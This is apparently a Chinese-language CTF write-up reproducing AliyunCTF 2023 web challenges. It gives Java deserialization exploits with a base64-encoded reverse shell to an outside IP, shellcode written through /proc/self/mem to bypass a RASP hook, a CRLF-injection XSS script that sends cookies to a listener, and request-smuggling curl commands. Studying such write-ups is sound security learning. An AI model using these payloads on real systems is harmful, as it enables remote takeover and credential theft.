AliyunCTF 2023 部分复现

263

Bypassit I

BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImpl
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;

public class bypassit1 {

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTc4LjEyNi40OS8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "1ue");
        setValue(templates, "_tfactory", null);
        setValue(templates, "_sdom", new ThreadLocal());


        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setValue(val,"val",node);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(val);
        objectOutputStream.close();


        URI url = new URI("http://112.124.14.13:8090/bypassit");
        HttpEntity<byte[]> requestEntity = new HttpEntity(byteArrayOutputStream.toByteArray());
        RestTemplate restTemplate = new RestTemplate();
        ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
        System.out.println(res.getBody());

    }
}

注意修改BaseJsonNodewriteReplace方法,不然写入的是replace后的对象

Object writeReplace1() {
    return NodeSerialization.from(this);
}

img

Bypassit II

首先根据上一题,到反序列化都没什么问题,只不过应该是防御了RCE的底层hook。把TemplatesImpl的Body一换,发现可以执行代码

img

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;

public class bypassit2 {

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        
        TemplatesImpl templates = new TemplatesImpl();
        byte[] bytes = ClassPool.getDefault().get(eval.class.getName()).toBytecode();
        byte[][] bytecode = new byte[][]{bytes};
        setValue(templates, "_bytecodes", bytecode);
        setValue(templates, "_name", "1ue");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setValue(val,"val",node);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(val);
        objectOutputStream.close();

        URI url = new URI("http://120.26.87.239:8070/bypassit");
        HttpEntity<byte[]> requestEntity = new HttpEntity(byteArrayOutputStream.toByteArray());
        RestTemplate restTemplate = new RestTemplate();
        ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
        System.out.println(res.getBody());

    }
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.RandomAccessFile;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class eval extends AbstractTranslet {
    public void run() {
    }

    public eval() throws Exception {
        System.out.println(1);
        String maps = new String(Files.readAllBytes(Paths.get("/proc/self/maps")),
                StandardCharsets.UTF_8);
        System.out.println(maps);
        Pattern pattern = Pattern.compile("\\s+(/.+libc\\-.+)");
        Matcher matcher = pattern.matcher(maps);
        if (!matcher.find()) {
            System.out.println("[-] Failed to find libc location. Exiting");
            return;
        }
        String libcPath = matcher.group(1);
        System.out.println("[*] Libc location: " + libcPath);
        long pieBase = Long.parseLong(maps.split("-")[0], 16);
        System.out.println("[*] PIE base: 0x" + Long.toHexString(pieBase));

        long libc_base = findBase("libc");
        long java_so_base = findBase("libjava");
        long libnativerasp_base = findBase("libnativerasp");
        System.out.println("[+] libc_base: " + Long.toHexString(libc_base));
        System.out.println("[+] java_so_base: " + Long.toHexString(java_so_base));
        System.out.println("[+] libnativerasp_base:" + Long.toHexString(libnativerasp_base));

        long libnativerasp_wuforkAndExec_addr = 0x12ad;
        long libjava_forkAndExec_addr = 0x148D0;

        long target = java_so_base + libjava_forkAndExec_addr;
        byte[] shellcode = new byte[12];
        shellcode[0] = 0x48;
        shellcode[1] = (byte) 0xb8;// mov rax, 0x12345678abcef

        for (int i = 0; i < 8; i++) { // little endian
            shellcode[2 + i] = (byte) ((target >>> 8 * i) & 0xff);
        }

        shellcode[10] = (byte) 0xff;
        shellcode[11] = (byte) 0xe0;// jmp rax
        RandomAccessFile mem = new RandomAccessFile("/proc/self/mem", "rw");
        mem.seek(libnativerasp_base + libnativerasp_wuforkAndExec_addr);
        mem.write(shellcode);

        System.out.println("have written to libnativerasp_wuforkAndExec_addr");

        Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTc4LjEyNi40OS8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    static long findBase(String regex) {
        try {
            String maps = new String(Files.readAllBytes(Paths.get("/proc/self/maps")),
                    StandardCharsets.UTF_8);
            Pattern pattern = Pattern.compile("^[^\n]+" + regex + "[^\n]+$",
                    Pattern.MULTILINE);
            Matcher matcher = pattern.matcher(maps);
            if (!matcher.find()) {
                System.out.println("[-] Failed to find " + regex);
                return 0x0;
            }
            String line = matcher.group(0);
            String[] parts = line.split(" ");
            String[] addr = parts[0].split("-");
            return Long.parseLong(addr[0], 16);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return 0x0;
    }
}

img

Obsidian(CRLF)

crlf学习:https://www.cnblogs.com/chenshengkai/p/15800749.html

header crlf注入送走CSP头并且进行xss,然后再crlf注入读到set-cookie admin访问的是localhost 不是127.0.0.1也不是公网ip

先自己登录 拿到非管理Cookie

然后/submit下算md5

package main

import (
   "crypto/md5"
   "encoding/hex"
   "fmt"
   "os"
)

func main() {
   var prefix string
   var hash string
   fmt.Println("prefix:")
   fmt.Scanln(&prefix)
   fmt.Println("hash:")
   fmt.Scanln(&hash)
   var data [16]byte
   tmp, _ := hex.DecodeString(hash)
   //data = [16]byte(tmp)
   copy(data[:], tmp)
   suffix := "0000"
   group := make(chan struct{}, 16)
   for {
      if suffix == "" {
         break
      }
      group <- struct{}{}
      go func(try string) {
         if md5.Sum([]byte(prefix+try)) == data {
            println(try)
            os.Exit(0)
         }
         <-group
      }(suffix)
      suffix = next(suffix)
   }
   select {}
}

func next(str string) string {
   var result string
   for i := len(str) - 1; i >= 0; i-- {
      if str[i] == '9' {
         return str[:i] + "a" + result
      } else if str[i] == 'z' {
         return str[:i] + "A" + result
      } else if str[i] == 'Z' {
         result = "0" + result
      } else {
         return str[:i] + string(str[i]+1) + result
      }
   }
   return ""
}

在构造clrf的exp发包

import requests
import re
import base64
# from pow5 import do_brute

REMOTE_ADDR = "<http://116.62.26.23:8000>"
rs = requests.Session()

def expMaker(x):
    exp = "http://localhost:8000/note/"
    exp += "%0d%0aContent-Length:LENGTH%0d%0a%0d%0a"
    exp += '<script>eval(atob("'
    exp += base64.b64encode(x.encode()).decode().replace("/","%2F").replace("+","%2B").replace("=","%3D")
    exp += '"))<%2Fscript>'
    exp = exp.replace("LENGTH",str(len(exp)-exp.index("LENGTH")+4))
    return exp

exp = expMaker('''
fetch("/note/%0d%0aContent-Length:1120%0d%0a%0d%0aaaa").then(res =>
res.text()).then(data => {window.location.href="http://118.178.126.49:2333?data=" +
encodeURIComponent(data)}).catch(err => window.location.href="http://118.178.126.49:2333?data=" +
encodeURIComponent(err))
''')

print(exp)

def attack():
    resp = rs.post("http://116.62.26.23:8000" + "/submit", headers= {"Cookie": "SID=wfN6X4MYr1iTP02eOaeTiVdN039IJMBXgJxSEgUOGaStD7eKcTBARneXomiH7F0l"},data={"suffix": "wJnX", "url": exp})
    print(resp.status_code)
    print(resp.text)
    print(resp.headers)

attack()

监听得到Cookie

img

解码

img

拿Cookie访问

img

⻔缝

// 发包
(base) zhchen@zhdeMacBook-Pro bin % curl http://118.178.238.83:8000/proxy -vv -H "X-Forwarded-For: ::1%\"asd" -H "Content-Type: application/json" -d '{"url":"http://[::ffff:172.18.19.3]:8000/api/login..;/flag",
"headers":{
"Transfer-Encoding":"chunked"},
"data":"0\r\n\r\nPOST /api/login..;/flag HTTP/1.1\r\nHOST:172.18.20.2\r\n\r\n"}'

*   Trying 118.178.238.83:8000...
* Connected to 118.178.238.83 (118.178.238.83) port 8000 (#0)
> POST /proxy HTTP/1.1
> Host: 118.178.238.83:8000
> User-Agent: curl/7.79.1
> Accept: */*
> X-Forwarded-For: ::1%"asd
> Content-Type: application/json
> Content-Length: 184
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 593
< Connection: keep-alive
< Server: gunicorn
< Date: Wed, 26 Apr 2023 02:56:08 GMT
< X-Kong-Upstream-Latency: 505
< X-Kong-Proxy-Latency: 0
< Via: kong/2.8.3
< 
HTTP/1.1 405 
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Allow: POST
Date: Wed, 26 Apr 2023 02:56:08 GMT
X-Kong-Upstream-Latency: 1
X-Kong-Proxy-Latency: 0
Via: kong/2.8.3

6b
{"timestamp":1682477768312,"status":405,"error":"Method Not Allowed","message":"","path":"/login/..;/flag"}
0

HTTP/1.1 200 
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 41
Connection: keep-alive
Date: Wed, 26 Apr 2023 02:56:08 GMT
X-Kong-Upstream-Latency: 1
X-Kong-Proxy-Latency: 0
Via: kong/2.8.3

* Connection #0 to host 118.178.238.83 left intact
aliyunctf{never_left_the_d00r_0pen_aga1n}

使用X_Forwarded_For也能绕过kong的x-forwarded-for限制

curl http://118.178.238.83:8000/proxy -vv -H "X_Forwarded_For: 127.0.0.1" -H "Content-Type: application/json" -d '{"url":"http://[::ffff:172.18.19.3]:8000/api/login..;/flag",
"headers":{
"Transfer-Encoding":"chunked"},
"data":"0\r\n\r\nPOST /api/login..;/flag HTTP/1.1\r\nHOST:172.18.20.2\r\n\r\n"}'

http://[::ffff:172.18.19.3]:8000/api/login..;/flag也能被http://172.18.19.3:8000``\\\\``@baidu.com/替换

curl http://118.178.238.83:8000/proxy -vv -H "X_Forwarded_For: 127.0.0.1" -H "Content-Type: application/json" -d '{"url":"http://172.18.19.3:8000\\\\@baidu.com/",
"headers":{
"Transfer-Encoding":"chunked"},
"data":"0\r\n\r\nPOST /api/login..;/flag HTTP/1.1\r\nHOST:172.18.20.2\r\n\r\n"}'

其次在请求头中加入Transfer-Encoding: chunked,使用请求走私,在GET请求中夹带一个POST请求获取到最终flag